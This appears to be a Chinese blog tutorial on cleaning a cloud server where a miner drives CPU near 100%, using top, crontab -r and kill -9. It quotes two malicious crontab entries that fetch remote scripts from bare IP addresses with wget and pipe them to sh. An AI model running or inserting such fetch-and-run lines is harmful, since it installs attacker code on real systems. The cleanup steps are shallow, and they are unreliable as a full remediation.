解决云服务器CPU占用率接近100%问题

黑客通常利用云服务器开放的端口攻击云服务器,造成云服务器CPU占用率接近100%,云服务器CPU资源为黑客所用,例如:挖矿。

top命令查看资源使用情况

[hadoop@Master ~]$ top
...

  PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND
25515 hadoop    20   0  176820   2740    428 S 96.7  0.1  22:29.82 java
 1332 root      20   0 2086940  85604   2452 S  0.7  4.5 735:08.85 java
 2347 hadoop    20   0     208     20      0 S  0.3  0.0   0:10.17 08ct58qfnma+
 3352 hadoop    20   0     208     36      0 S  0.3  0.0   0:51.95 34rol45oukei
 7512 mongod    20   0 1091048  81148   2064 S  0.3  4.3  44:48.20 mongod
 ...

发现CPU被一个25515的进程占用了96.7%(接近100%)占用。

按q键退出top监听

查看定时任务

[hadoop@Master ~]$ crontab -l
* * * * * wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1
10 * * * * wget -q -O - http://89.35.39.78/1.sh | sh > /dev/null 2>&1

发现确实有定时任务,而且这个ip是陌生ip。有xx.sh脚本在后台运行。

删除定时任务

[hadoop@Master ~]$ crontab -r

再次查看定时任务

[hadoop@Master ~]$ crontab -l
no crontab for hadoop

用kill掉CPU占用率接近100%的进程

[hadoop@Master ~]$ kill -9 25515

再次用top命令查看资源使用情况 

[hadoop@Master ~]$ top
...
​
  PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND
 1965 hadoop    20   0 3129388 157000   1648 S  0.3  8.3  18:59.50 java
 5975 hadoop    20   0     208     44      0 S  0.3  0.0   1:26.53 id2mk0hrtdop
 ...

过几分钟再次用top命令查看

[hadoop@Master ~]$ top
...
​
  PID USER      PR  NI    VIRT    RES    SHR S %CPU %MEM     TIME+ COMMAND
 1332 root      20   0 2086940  85628   2452 S  0.7  4.5 735:13.85 java
 8513 hadoop    20   0     208     40      0 S  0.3  0.0   1:08.88 fv7ed8qccns+
17228 hadoop    20   0     208     24      0 S  0.3  0.0   0:22.29 72t7j2itqvb+
 ...

总结:

CPU占用率接近100%的问题,通过top命令查出CPU占用率高的进程

如果没有定时任务,可以直接kill掉CPU占用率高的进程;

如果有定时任务,kill掉进程后,过一会top查看还会再次出现CPU 100%的问题,使用crontab -l命令查看发现有定时任务。crontab -r杀掉定时任务,再kill -9杀掉CPU占用率高的进程就ok了。

完成!enjoy it!

相关推荐

  1. 解决服务器CPU占用接近100%问题

    2024-07-23 04:34:03       18 阅读
  2. Oracle数据库服务器CPU占用巨高的问题排查思路

    2024-07-23 04:34:03       28 阅读
  3. ukui-kwin-x11占用cpu 100%

    2024-07-23 04:34:03       48 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-07-23 04:34:03       49 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-07-23 04:34:03       53 阅读
  3. 在Django里面运行非项目文件

    2024-07-23 04:34:03       42 阅读
  4. Python语言-面向对象

    2024-07-23 04:34:03       53 阅读

热门阅读

  1. js进阶之作用域、函数进阶以及解构赋值

    2024-07-23 04:34:03       14 阅读
  2. 代码随想录第十六天|贪心算法(2)

    2024-07-23 04:34:03       18 阅读
  3. 为什么要有指针和引用类型?

    2024-07-23 04:34:03       15 阅读
  4. redis

    redis

    2024-07-23 04:34:03      17 阅读
  5. Android init.rc的启动流程

    2024-07-23 04:34:03       19 阅读
  6. HormonyOS第一课第八章习题答案

    2024-07-23 04:34:03       13 阅读